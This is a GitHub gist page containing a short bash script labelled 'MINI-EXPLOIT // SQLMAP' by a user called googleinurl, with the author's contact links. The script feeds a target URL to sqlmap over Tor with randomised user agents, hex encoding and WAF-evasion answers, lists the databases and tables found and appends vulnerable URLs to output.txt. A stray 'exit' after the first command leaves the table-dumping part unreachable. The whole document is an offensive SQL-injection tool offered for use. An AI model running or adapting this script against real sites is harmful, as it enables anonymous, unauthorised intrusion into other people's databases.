Skip to content

Instantly share code, notes, and snippets.

@googleinurl
Last active December 5, 2021 14:24
Show Gist options
  • Save googleinurl/ee4f25daff80084cfadb to your computer and use it in GitHub Desktop.
Save googleinurl/ee4f25daff80084cfadb to your computer and use it in GitHub Desktop.
MINI-EXPLOIT // SQLMAP
#!/bin/bash
: '
MINI-EXPLOIT // SQLMAP ~
------------------------------------------------------
[+] AUTOR: Cleiton Pinheiro / Nick: googleINURL
[+] EMAIL: [email protected]
[+] Blog: http://blog.inurl.com.br
[+] Twitter: https://twitter.com/googleinurl
[+] Fanpage: https://fb.com/InurlBrasil
[+] Pastebin http://pastebin.com/u/Googleinurl
[+] GIT: https://github.com/googleinurl
[+] PSS: http://packetstormsecurity.com/user/googleinurl
[+] EXA: http://exploit4arab.net/author/248/Cleiton_Pinheiro
[+] YOUTUBE: http://youtube.com/c/INURLBrasil
[+] PLUS: http://google.com/+INURLBrasil
'
l_="---------------------------------------------"
echo "[+] MINI-EXPLOIT // (SQLMAP) - INURL BRASIL"
echo $l_
echo "[!] start process"
echo $l_
SQLMAP=("python sqlmap.py -u $1 --random-agent --hex --tor --tor-type=SOCKS5 --threads 10 --answers='follow=N,union-char=Y,time-sec=20,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y' ")
EXEC=("$SQLMAP --dbs")
echo $EXEC
$EXEC
exit
DB=$($EXEC | grep '[*]' | grep -v 'shutting' | grep -v 'starting' | grep -v 'schema' | awk '{x=2; print $x}')
if (echo $DB | egrep '[A-Za-z0-9_.]' &> /dev/null); then
echo "[+] Database names:"
echo "$DB"
echo $l_
EXEC2="$SQLMAP -D $DB --tables"
echo $EXEC2
TABLES=$($EXEC2 | grep '| ' | grep -v 'shutting' | grep -v 'starting' | grep -v 'Payload' | grep -v '__' | grep -v '|_' | grep -v '-' | awk '{x=2; print $x}')
echo "[+] Tables names:"
echo "$TABLES"
echo $l_
echo "[+] File output: output.txt"
echo "URL:::$1 \n DB:::$DB \n" >> "output.txt"
else
echo "[x] No vulnerability"
echo "[x] exit process"
exit
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment